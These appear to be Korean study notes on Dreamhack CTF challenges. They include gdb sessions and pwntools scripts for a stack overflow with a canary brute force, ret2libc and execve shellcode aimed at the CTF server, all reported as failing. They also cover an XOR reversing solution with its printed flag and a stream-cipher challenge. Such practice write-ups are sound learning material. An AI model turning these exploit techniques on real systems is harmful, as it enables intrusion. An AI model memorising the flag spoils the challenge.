카나리 값과 관련된 문제일 것...으로 보인다
docker build -t pwnable_problem .
docker exec -it loving_kilby /bin/sh
간단한 file 명령어도 안되는 상태
apt-get update 시도
permission denied...?
sudo - 실패
커맨드 쉘(바깥으로 나옴)에서 root 권한 찾고 update 시도 - 성공
$ file prob
prob: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b26e208c9dff6ec945f052ea2872c6e8df37ed8, for GNU/Linux 3.2.0, not stripped
$ checksec --file=prob
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 48) Symbols No 0 2 prob
$ gdb ./prob
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./prob...
(No debugging symbols found in ./prob)
gdb로 스택 오버플로우 취약점 공략 준비
(gdb) run
Starting program: /home/pwn/prob
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
time: 1727503447
input your data:
input을 넣어보면서 확인하자
(gdb) run
Starting program: /home/pwn/prob
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
time: 1727503447
input your data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated Aborted
[Inferior 1 (process 3753) exited with code 01]
스택 스매싱을 감지하고 꺼버린다
일단 스택 오버플로우가 발생하며, 카나리가 없다는 건 확인
그럼 패딩 크기부터 찾아야 하는데...
(gdb) run
Starting program: /home/pwn/prob
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
time: 1727505744
input your data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated Aborted
[Inferior 1 (process 3772) exited with code 01]
(gdb) info registers
The program has no registers now.
(gdb) x/32x $rsp
No registers.
이렇게 크래시 직후 바로 종료되면 레지스터를 못 보므로... 중단점을 걸고 보자
(gdb) break read
Breakpoint 1 at 0x7ffff7ea37d0: file ../sysdeps/unix/sysv/linux/read.c, line 25.
(gdb) run
Starting program: /home/pwn/prob [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". time: 1727505874
input your data:
Breakpoint 1, __GI___libc_read (fd=0, buf=0x7fffffffec50, nbytes=256) at ../sysdeps/unix/sysv/linux/read.c:25 25 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) info registers
rax 0x7fffffffec50 140737488350288 rbx 0x0 0 rcx 0x7ffff7ea3887 140737352710279 rdx 0x100 256 rsi 0x7fffffffec50 140737488350288 rdi 0x0 0 rbp 0x7fffffffec70 0x7fffffffec70 rsp 0x7fffffffec48 0x7fffffffec48 r8 0x11 17 r9 0x7fffffffc9be 140737488341438 r10 0x7ffff7d955e8 140737351603688 r11 0x7ffff7ea37d0 140737352710096 r12 0x7fffffffed88 140737488350600 r13 0x4012ab 4199083 r14 0x403e18 4210200 r15 0x7ffff7ffd040 140737354125376 rip 0x7ffff7ea37d0 0x7ffff7ea37d0 <__GI___libc_read> eflags 0x206 [ PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 k0 0x1e0000 1966080 k1 0x221 545 k2 0x0 0 k3 0x0 0 k4 0x0 0 k5 0x0 0 k6 0x0 0 k7 0x0 0
rsi
: 0x7fffffffec50 (입력 데이터를 저장할 버퍼의 주소)rdx
: 256 (입력 받을 최대 크기, 256바이트)rip
: 0x7ffff7ea37d0 (read
함수의 위치)근데 이건 입력값이 없는 경우인데...
(gdb) x/32x $rsp
0x7fffffffec48: 0x00401367 0x00000000 0x00000000 0x00000000 0x7fffffffec58: 0x00000000 0x00000000 0x9c745535 0x024f6648 0x7fffffffec68: 0x00000000 0x00000000 0x00000001 0x00000000 0x7fffffffec78: 0xf7db8d90 0x00007fff 0x00000000 0x00000000 0x7fffffffec88: 0x004012ab 0x00000000 0x00000000 0x00000001 0x7fffffffec98: 0xffffed88 0x00007fff 0x00000000 0x00000000 0x7fffffffeca8: 0xafa489e3 0x5e957ad3 0xffffed88 0x00007fff 0x7fffffffecb8: 0x004012ab 0x00000000 0x00403e18 0x00000000
rsp
)0x00401367
은 프로그램의 리턴 주소일 가능성이 높음rsi
) 위치rsi
는 0x7fffffffec50
에 저장된 입력 데이터를 가리키며, 스택 근처에서 데이터를 처리하고 있는 것을 알 수 있음중단점을 read의 끝에 걸어야 입력값이 들어간 상태의 레지스터를 볼 수 있을 것 같다
(gdb) run
Starting program: /home/pwn/prob
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
time: 1727506320
input your data:
Breakpoint 1, __GI___libc_read (fd=0, buf=0x7fffffffec50, nbytes=256) at ../sysdeps/unix/sysv/linux/read.c:25
25 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) finish
Run till exit from #0 __GI___libc_read (fd=0, buf=0x7fffffffec50, nbytes=256)
at ../sysdeps/unix/sysv/linux/read.c:25
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x0000000000401367 in main ()
Value returned is $1 = 95
(gdb) info registers
rax 0x5f 95
rbx 0x0 0
rcx 0x7ffff7ea37e2 140737352710114
rdx 0x100 256
rsi 0x7fffffffec50 140737488350288
rdi 0x0 0
rbp 0x7fffffffec70 0x7fffffffec70
rsp 0x7fffffffec50 0x7fffffffec50
r8 0x11 17
r9 0x7fffffffc9be 140737488341438
r10 0x7ffff7d955e8 140737351603688
r11 0x246 582
r12 0x7fffffffed88 140737488350600
r13 0x4012ab 4199083
r14 0x403e18 4210200
r15 0x7ffff7ffd040 140737354125376
rip 0x401367 0x401367 <main+188>
eflags 0x207 [ CF PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x1e0000 1966080
k1 0x221 545
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
(gdb) x/32x $rsp
0x7fffffffec50: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffec60: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffec70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffec80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffec90: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffeca0: 0x41414141 0x41414141 0x41414141 0x070a4141
0x7fffffffecb0: 0xffffed88 0x00007fff 0x004012ab 0x00000000
0x7fffffffecc0: 0x00403e18 0x00000000 0xf7ffd040 0x00007fff
오 성공...
finish로 해당 함수가 끝나는 시점에 중단을 건 게 유효한 것 같다
0x7fffffffecb0
에서 리턴 주소 0x004012ab
확인 가능
이제 리턴 주소를 덮어써보자
NX 활성화 상태이므로 프로그램 내에서 실행 가능한 함수로 점프해야 할 것으로 보임
위의 덤프 값 바탕으로 생각해볼 때, 0x7fffffffec50에서 0x7fffffffecb0까지 - A 104개를 채우면 될듯(96 + 8(SFP) = 104)
(gdb) p system
$3 = {int (const char *)} 0x7ffff7ddfd70 <__libc_system>
system 함수 위치 확보!
0x7ffff7ddfd70
(gdb) find 0x7ffff7a0d000, +9999999, "bin/sh"
warning: Unable to access 16006 bytes of target memory at 0x7ffff7a0d000, halting search.
Pattern not found.
libc 위치를 때려맞추고 넘어가려 했는데 안된 거 같다
먼저 메모리 구조부터 찾자
(gdb) info proc mappings
process 3777
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x400000 0x401000 0x1000 0x0 r--p /home/pwn/prob
0x401000 0x402000 0x1000 0x1000 r-xp /home/pwn/prob
0x402000 0x403000 0x1000 0x2000 r--p /home/pwn/prob
0x403000 0x404000 0x1000 0x2000 r--p /home/pwn/prob
0x404000 0x405000 0x1000 0x3000 rw-p /home/pwn/prob
0x7ffff7d8c000 0x7ffff7d8f000 0x3000 0x0 rw-p
0x7ffff7d8f000 0x7ffff7db7000 0x28000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db7000 0x7ffff7f4c000 0x195000 0x28000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f4c000 0x7ffff7fa4000 0x58000 0x1bd000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa4000 0x7ffff7fa5000 0x1000 0x215000 ---p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa5000 0x7ffff7fa9000 0x4000 0x215000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa9000 0x7ffff7fab000 0x2000 0x219000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fab000 0x7ffff7fb8000 0xd000 0x0 rw-p
0x7ffff7fbb000 0x7ffff7fbd000 0x2000 0x0 rw-p
0x7ffff7fbd000 0x7ffff7fc1000 0x4000 0x0 r--p [vvar]
0x7ffff7fc1000 0x7ffff7fc3000 0x2000 0x0 r-xp [vdso]
0x7ffff7fc3000 0x7ffff7fc5000 0x2000 0x0 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc5000 0x7ffff7fef000 0x2a000 0x2000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fef000 0x7ffff7ffa000 0xb000 0x2c000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 0x2000 0x37000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 0x2000 0x39000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rw-p [stack]
0x7ffff7db7000 - 0x7ffff7fa5000 (libc.so.6)
찾았다 요놈
(gdb) find 0x7ffff7db7000, 0x7ffff7fa5000, "/bin/sh"
0x7ffff7f67678
1 pattern found.
이제 Exploit을 짜보자
pwntools를 쓸 예정
from pwn import *
# 프로그램 실행
p = process('./prob')
# 패딩: 104바이트
padding = b'A' * 104
# system() 주소
system_address = p64(0x7ffff7ddfd70)
# "/bin/sh" 주소
bin_sh_address = p64(0x7ffff7f67678)
# 페이로드
exploit = padding + system_address + b'JUNKJUNK' + bin_sh_address
# 익스플로잇 전송
p.sendline(exploit)
# 쉘
p.interactive()
안된다... 보호 매커니즘이 있는 것 같다
일단 레지스터 값은 잘 들어간 것으로 보이니... 다시 해보자
pwndbg> break *main+199 Breakpoint 1 at 0x401372 pwndbg> run Starting program: /home/noah/pwntools_IHHH/ctf/randerer/deploy/prob [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". time: 1727512927 input your data: aaaaa Breakpoint 1, 0x0000000000401372 in main () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────── RAX 0xc1fabff556f98216 RBX 0 RCX 0x7ffff7e9f7e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0xc1fabff556f98216 RDI 0 RSI 0x7fffffffdd50 ◂— 0xa6161616161 /* 'aaaaa\n' */ R8 0x11 R9 0x7fffffffbabe ◂— 0x110000 R10 0x7ffff7d915e8 ◂— 0xf001200001a64 R11 0x246 R12 0x7fffffffde88 —▸ 0x7fffffffe100 ◂— '/home/noah/pwntools_IHHH/ctf/randerer/deploy/prob' R13 0x4012ab (main) ◂— endbr64 R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401200 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffdd70 ◂— 1 RSP 0x7fffffffdd50 ◂— 0xa6161616161 /* 'aaaaa\n' */ RIP 0x401372 (main+199) ◂— cmp rdx, rax ───────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────── ► 0x401372 <main+199> cmp rdx, rax 0xc1fabff556f98216 - 0xc1fabff556f98216 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ] 0x401375 <main+202> ✔ je main+229 <main+229> ↓ 0x401390 <main+229> mov eax, 0 EAX => 0 0x401395 <main+234> leave 0x401396 <main+235> ret <__libc_start_call_main+128> ↓ 0x7ffff7db4d90 <__libc_start_call_main+128> mov edi, eax EDI => 0 0x7ffff7db4d92 <__libc_start_call_main+130> call exit <exit> 0x7ffff7db4d97 <__libc_start_call_main+135> call __nptl_deallocate_tsd <__nptl_deallocate_tsd> 0x7ffff7db4d9c <__libc_start_call_main+140> lock dec dword ptr [rip + 0x1f0505] 0x7ffff7db4da3 <__libc_start_call_main+147> sete al 0x7ffff7db4da6 <__libc_start_call_main+150> test al, al ────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────00:0000│ rsi rsp 0x7fffffffdd50 ◂— 0xa6161616161 /* 'aaaaa\n' */ 01:0008│-018 0x7fffffffdd58 ◂— 0 02:0010│-010 0x7fffffffdd60 ◂— 0xc1fabff556f98216 03:0018│-008 0x7fffffffdd68 ◂— 0 04:0020│ rbp 0x7fffffffdd70 ◂— 1 05:0028│+008 0x7fffffffdd78 —▸ 0x7ffff7db4d90 (__libc_start_call_main+128) ◂— mov edi, eax 06:0030│+010 0x7fffffffdd80 ◂— 0 07:0038│+018 0x7fffffffdd88 —▸ 0x4012ab (main) ◂— endbr64 ──────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────── ► 0 0x401372 main+199 1 0x7ffff7db4d90 __libc_start_call_main+128 2 0x7ffff7db4e40 __libc_start_main+128 3 0x401175 _start+37 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> info registers rax 0xc1fabff556f98216 -4469048619764710890 rbx 0x0 0 rcx 0x7ffff7e9f7e2 140737352693730 rdx 0xc1fabff556f98216 -4469048619764710890 rsi 0x7fffffffdd50 140737488346448 rdi 0x0 0 rbp 0x7fffffffdd70 0x7fffffffdd70 rsp 0x7fffffffdd50 0x7fffffffdd50 r8 0x11 17 r9 0x7fffffffbabe 140737488337598 r10 0x7ffff7d915e8 140737351587304 r11 0x246 582 r12 0x7fffffffde88 140737488346760 r13 0x4012ab 4199083 r14 0x403e18 4210200 r15 0x7ffff7ffd040 140737354125376 rip 0x401372 0x401372 <main+199> eflags 0x207 [ CF PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 k0 0x1e0000 1966080 k1 0x1020 4128 k2 0x0 0 k3 0x0 0 k4 0x0 0 k5 0x0 0 k6 0x0 0 k7 0x0 0 pwndbg> x/64x $rsp 0x7fffffffdd50: 0x61616161 0x00000a61 0x00000000 0x00000000 0x7fffffffdd60: 0x56f98216 0xc1fabff5 0x00000000 0x00000000 0x7fffffffdd70: 0x00000001 0x00000000 0xf7db4d90 0x00007fff 0x7fffffffdd80: 0x00000000 0x00000000 0x004012ab 0x00000000 0x7fffffffdd90: 0x00000000 0x00000001 0xffffde88 0x00007fff 0x7fffffffdda0: 0x00000000 0x00000000 0x1bdeebe5 0x8026deb0 0x7fffffffddb0: 0xffffde88 0x00007fff 0x004012ab 0x00000000 0x7fffffffddc0: 0x00403e18 0x00000000 0xf7ffd040 0x00007fff 0x7fffffffddd0: 0xa0dcebe5 0x7fd9214f 0x8154ebe5 0x7fd93106 0x7fffffffdde0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffddf0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffde00: 0x00000000 0x00000000 0xb12eef00 0x0542f8de 0x7fffffffde10: 0x00000000 0x00000000 0xf7db4e40 0x00007fff 0x7fffffffde20: 0xffffde98 0x00007fff 0x00403e18 0x00000000 0x7fffffffde30: 0xf7ffe2e0 0x00007fff 0x00000000 0x00000000 0x7fffffffde40: 0x00000000 0x00000000 0x00401150 0x00000000
0x7fffffffdd60: 0x56f98216 0xc1fabff5
카나리 값 확인
이걸 바탕으로 페이로드를 수정하자
from pwn import *
p = process('./prob')
padding = b'A' * 96
canary = p64(0xc1fabff556f98216)
sfp_padding = b'B' * 8
system_address = p64(0x7ffff7ddfd70)
bin_sh_address = p64(0x7ffff7f67678)
exploit = padding + canary + sfp_padding + system_address + b'JUNKJUNK' + bin_sh_address
p.sendline(exploit)
p.interactive()
이 짓을 두어번 반복하니... 카나리 값이 랜덤으로 제공되고 있다는 결론을 얻었다.
아래가 수정본
from pwn import *
# 원격 서버 정보
host = 'host3.dreamhack.games'
port = 13662
# Canary를 추출할 수 있도록 Canary 전까지 패딩을 준비
padding = b'A' * 96
canary = b''
# Canary의 8바이트를 하나씩 유추하는 과정
for i in range(8):
# 원격 서버에 접속
p = remote(host, port)
# 서버에서 입력을 기다리는 메시지를 수신 (바이트로 처리)
p.recvuntil(b"input your data:")
# Canary의 현재까지 찾은 값과 새로운 바이트 시도
for byte in range(256):
attempt = canary + bytes([byte])
# Canary 이후의 값을 덮어쓰지 않도록 패딩 추가
p.sendline(padding + attempt + b'B' * (7 - i))
# 서버 응답 수신
result = p.recv(timeout=1)
if b"stack smashing detected" not in result:
# Canary 값이 맞으면 유출 성공
canary += bytes([byte])
log.info(f"Found Canary byte: {canary.hex()}")
break
# 연결 종료
p.close()
# Canary가 유출되지 않은 경우 처리
if len(canary) != 8:
log.error("Canary 유출 실패")
log.info(f"Leaked Canary: {canary.hex()}")
# Canary 이후의 구조 (SFP를 덮기 위한 8바이트 패딩)
sfp_padding = b'B' * 8
# system() 함수의 주소 (GDB에서 찾은 값 사용)
system_address = p64(0x7ffff7ddbd70)
# "/bin/sh" 문자열의 주소 (GDB에서 찾은 값 사용)
bin_sh_address = p64(0x7ffff7f63678)
# 리턴 주소로 system 함수의 주소를 덮고, system 함수의 인자로 "/bin/sh"의 주소를 전달
exploit = padding + canary + sfp_padding + system_address + b'JUNKJUNK' + bin_sh_address
# 원격 서버에 접속하여 exploit 전송
p = remote(host, port)
# 서버에서 입력을 기다리는 메시지를 수신 (바이트로 처리)
p.recvuntil(b"input your data:")
# 페이로드 전송
p.sendline(exploit)
# 인터랙티브 모드로 전환하여 쉘 획득
p.interactive()
근데 생각해보니까 원격 서버 상대로 했어야 하는데...
from pwn import *
# 원격 서버 주소 및 포트 설정
host = 'host3.dreamhack.games'
port = 8080
# Canary를 추출할 수 있도록 Canary 전까지 패딩을 준비
padding = b'A' * 96
canary = b''
# Canary의 8바이트를 하나씩 유추하는 과정
for i in range(8):
for byte in range(256):
# 원격 서버에 연결
p = remote(host, port)
attempt = canary + bytes([byte]) # Canary의 현재까지 찾은 값과 새로운 바이트 시도
p.sendline(padding + attempt + b'B' * (7 - i)) # Canary 이후의 값을 덮어쓰지 않도록 패딩 추가
# 정상 종료되는지 확인
try:
result = p.recv(timeout=1)
if b"stack smashing detected" not in result:
# Canary 값이 맞으면 리크 성공
canary += bytes([byte])
log.info(f"Found Canary byte: {canary.hex()}")
break
except EOFError:
pass
finally:
p.close()
log.info(f"Leaked Canary: {canary.hex()}")
# Canary 이후의 구조 (SFP를 덮기 위한 8바이트 패딩)
sfp_padding = b'B' * 8
# system() 함수의 주소와 "/bin/sh" 문자열의 주소 (GDB에서 확인한 값 사용)
system_address = p64(0x7ffff7ddbd70)
bin_sh_address = p64(0x7ffff7f63678)
# 리턴 주소로 system 함수의 주소를 덮고, system 함수의 인자로 "/bin/sh"의 주소를 전달
exploit = padding + canary + sfp_padding + system_address + b'JUNKJUNK' + bin_sh_address
# 원격 서버에 연결하여 최종 페이로드 실행
p = remote(host, port)
# 페이로드 전송
p.sendline(exploit)
# 인터랙티브 모드로 전환하여 쉘 획득
p.interactive()
안된다... 뭐가 문제인걸까
계속 EOF가 나온다
아래는 쉘코드를 이용한 방법
from pwn import *
# 원격 서버에 접속
p = remote('host3.dreamhack.games', 13662)
# 패딩 크기 설정 (96 바이트 버퍼 + 8 바이트 카나리 이후 패딩)
padding = b'A' * 96
# Canary 값을 저장할 변수를 설정 (직접 덮지 않고, 카나리를 우회)
canary_padding = b'B' * 8
# 올바른 쉘코드 작성 (execve를 호출하여 /bin/sh 실행)
shellcode = asm('''
xor rax, rax # rax를 0으로 초기화
mov al, 59 # execve 시스템 호출 번호 59 설정
lea rdi, [rip+binsh] # rdi에 "/bin/sh" 주소 설정
xor rsi, rsi # rsi = 0 (NULL)
xor rdx, rdx # rdx = 0 (NULL)
syscall # 시스템 호출 실행
binsh: .string "/bin/sh" # "/bin/sh" 문자열을 추가
''')
# Canary 이후의 구조 (SFP와 RET 덮기 위한 패딩)
sfp_padding = b'C' * 8
# 전체 페이로드 생성 (패딩 + 카나리 우회 패딩 + SFP 패딩 + 쉘코드)
payload = padding + canary_padding + sfp_padding + shellcode
# 페이로드 전송
p.sendline(payload)
# 인터랙티브 모드로 전환하여 쉘 접속
p.interactive()
물론 얘도 실패함...
일단 여기까지... 더 이상은 힘들 것 같음
주어진 legacyopt 파일을 HxD 에디터로 열람하면 가장 위의 .ELF 가 눈에 띈다.
즉, 이 파일은 실행 가능한 ELF 바이너리 파일이다.
리버싱을 통해 문제를 풀어보자
> strings legacyopt
/lib64/ld-linux-x86-64.so.2 mgUa __cxa_finalize fgets malloc strcspn __libc_start_main free strlen stdin __stack_chk_fail printf libc.so.6 GLIBC_2.4 GLIBC_2.34 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u+UH %02hhx :*3$" GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment
fgets
, printf
, strcspn
메모리 할당 및 입력
- malloc
을 사용하여 100바이트의 메모리를 할당
- fgets
를 사용하여 표준 입력(stdin
)으로부터 최대 100자까지 문자열을 읽음
- 읽은 문자열에서 줄바꿈 문자를 제거한 후, strlen
을 이용해 문자열의 길이를 계산
sub_1209
함수 호출
- 입력받은 문자열과 그 길이를 sub_1209
라는 함수에 전달
- 아마도 입력된 문자열을 특정 방식으로 변환하거나 처리하는 역할일듯
16진수 출력
- ptr
에 저장된 내용을 16진수로 출력
- 입력된 문자열이 변환된 후 ptr
에 저장된 결과가 16진수로 출력되는 구조
입력된 문자열을 여러... XOR 연산을 통해 변환 과정을 거침
일련의 과정을 보니 제공된 output을 역산하는 것이 이 문제의 목적으로 보인다
최종적으로 변환된 값은 ptr에 저장됨
0x88
과 XOR0x66
과 XOR0x44
와 XOR0x11
과 XOR0x77
과 XOR0x55
와 XOR0x22
와 XOR0x33
과 XORdef xor_decrypt(output_hex):
# 16진수 문자열을 바이트 배열로 변환
output_bytes = bytes.fromhex(output_hex)
# XOR 연산에 사용할 키 값들 (0x88, 0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33)
xor_keys = [0x88, 0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33]
# 복원된 결과를 저장할 배열
recovered = []
# 바이트 단위로 XOR 연산 수행 (최대 8바이트 단위로 반복)
for i in range(len(output_bytes)):
# XOR 키는 8바이트씩 반복
key = xor_keys[i % 8]
# 복원된 값 추가
recovered.append(output_bytes[i] ^ key)
# 복원된 바이트 배열을 출력
return recovered
# 주어진 output.txt의 16진수 문자열
output_hex = "220c6a33204455fb390074013c4156d704316528205156d70b217c14255b6ce10837651234464e"
# 복원된 입력(Flag)을 출력
recovered_bytes = xor_decrypt(output_hex)
# 복원된 바이트 배열을 ASCII 문자로 출력 (가능한 경우에만 출력)
flag = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in recovered_bytes])
print("Recovered flag (ASCII):", flag)
# 복원된 바이트를 16진수로 출력
print("Recovered flag (hex):", ''.join(f'{b:02x}' for b in recovered_bytes))
Recovered flag (ASCII): .j."W.w..f0.K.t..W!9W.t..G8.R.N..Q!.C.l Recovered flag (hex): aa6a2e22571177c8b16630104b1474e48c572139570474e483473805520e4ed28051210343136c
이거 아닌 거 같다...
def reverse_xor(output_hex):
output_bytes = bytes.fromhex(output_hex)
xor_keys = [0x88, 0x66, 0x44, 0x11, 0x77, 0x55, 0x22, 0x33]
input_length = len(output_bytes)
remainder = input_length % 8
# switch-case에 따른 시작 인덱스 매핑
switch_case = {
0: 0, # case 0: LABEL_4에서 시작 (키 인덱스 0)
1: 7, # case 1: LABEL_11에서 시작 (키 인덱스 7)
2: 6, # case 2: LABEL_10에서 시작 (키 인덱스 6)
3: 5, # case 3: LABEL_9에서 시작 (키 인덱스 5)
4: 4, # case 4: LABEL_8에서 시작 (키 인덱스 4)
5: 3, # case 5: LABEL_7에서 시작 (키 인덱스 3)
6: 2, # case 6: LABEL_6에서 시작 (키 인덱스 2)
7: 1 # case 7: while 루프 내에서 시작 (키 인덱스 1)
}
key_index = switch_case[remainder]
input_bytes = []
for i in range(len(output_bytes)):
key = xor_keys[key_index % 8]
input_byte = output_bytes[i] ^ key
input_bytes.append(input_byte)
key_index += 1
# 바이트 배열을 문자열로 변환
try:
input_str = bytes(input_bytes).decode('utf-8')
except UnicodeDecodeError:
input_str = bytes(input_bytes).decode('latin-1')
return input_str
output_hex = "220c6a33204455fb390074013c4156d704316528205156d70b217c14255b6ce10837651234464e"
flag = reverse_xor(output_hex)
print("복원된 입력 문자열:")
print(flag)
DH{Duffs_Device_but_use_memcpy_instead}
오 성공
넌 다음에 보자
![[Pasted image 20240929112311.png]]
class STREAM:
def __init__(self, seed, size):
self.state = self.num2bits(seed, size)
def num2bits(self, num, size):
assert num < (1 << size)
return bin(num)[2:].zfill(size)
def bits2num(self, bits):
return int('0b' + bits, 2)
def shift(self):
new_bit = self.state[-1]
self.state = new_bit + self.state[:-1]
return new_bit
def getNbits(self, num):
sequence = ""
for _ in range(num):
sequence += self.shift()
return sequence
def encrypt(self, plaintext):
ciphertext = b""
for p in plaintext:
stream = self.bits2num(self.getNbits(8))
c = p ^ stream
ciphertext += bytes([c])
return ciphertext
def decrypt(self, ciphertext):
plaintext = b""
for c in ciphertext:
stream = self.bits2num(self.getNbits(8))
p = c ^ stream
plaintext += bytes([p])
return plaintext
if __name__ == "__main__":
import os
for seed in range(0x100):
Alice = STREAM(seed, 16)
Bob = STREAM(seed, 16)
plaintext = os.urandom(128)
ciphertext = Alice.encrypt(plaintext)
assert plaintext == Bob.decrypt(ciphertext)
encrypted flag > 3cef03c64ac240c349971d9e4c951cc14ec4199f409249c21e964ac540c540944f901c934cc240934d96419f4b9e4d9f1cc41dc61dc34e9219c31bc11a914f9141c61ada
#!/usr/bin/env python3
from cipher import STREAM
import random
if __name__ == "__main__":
with open("flag", "rb") as f:
flag = f.read()
assert flag[:3] == b'DH{' and flag[-1:] == b'}'
seed = random.getrandbits(16)
stream = STREAM(seed, 16)
print(f"encrypted flag > {stream.encrypt(flag).hex()}")
STREAM 클래스의 암호화 방식을 이해하고 output.txt에 저장된 암호문을 이용해 flag를 복구해야 한다
암호화 키와 복호화 키가 동일한 대칭키 암호는 블록 단위로 암호화하는 블록 암호와 비트 단위로 암호화하는 스트림 암호로 구분될 수 있다. 스트림 암호는 블록 암호에 비해 상대적으로 사용 빈도가 낮으나, 블록 암호에 비해 경량 및 고속 동작이 용이하여 무선 환경이나 스트리밍 서비스 등과 같은 환경에서 많이 사용되고 있다.
스트림 암호는 블록 단위가 아닌 비트 단위로 암호화되기 때문에 패딩과 운영 모드에 대한 개념이 필요 없으며, 구현이 용이하고 수행 속도가 빠르다는 장점이 있다. 버퍼의 크기가 제한되고 정보가 수신되자마자 실시간으로 처리되어야 하는 통신 애플리케이션의 경우 블록 암호는 수신되는 정보가 한 블록에 가득 찰 때까지 버퍼에 저장해 두었다가 한 번에 암호화해야 하기 때문에 적절한 수단이 아니지만, 스트림 암호는 수신되는 정보를 바로 암호화할 수 있기 때문에 실시간 처리가 가능하다. 블록 암호와 구별되는 스트림 암호의 효율성으로 인해 계산능력이 한정된 경우, 즉 휴대폰이나 RFID, 센서 등에 사용될 수 있다.
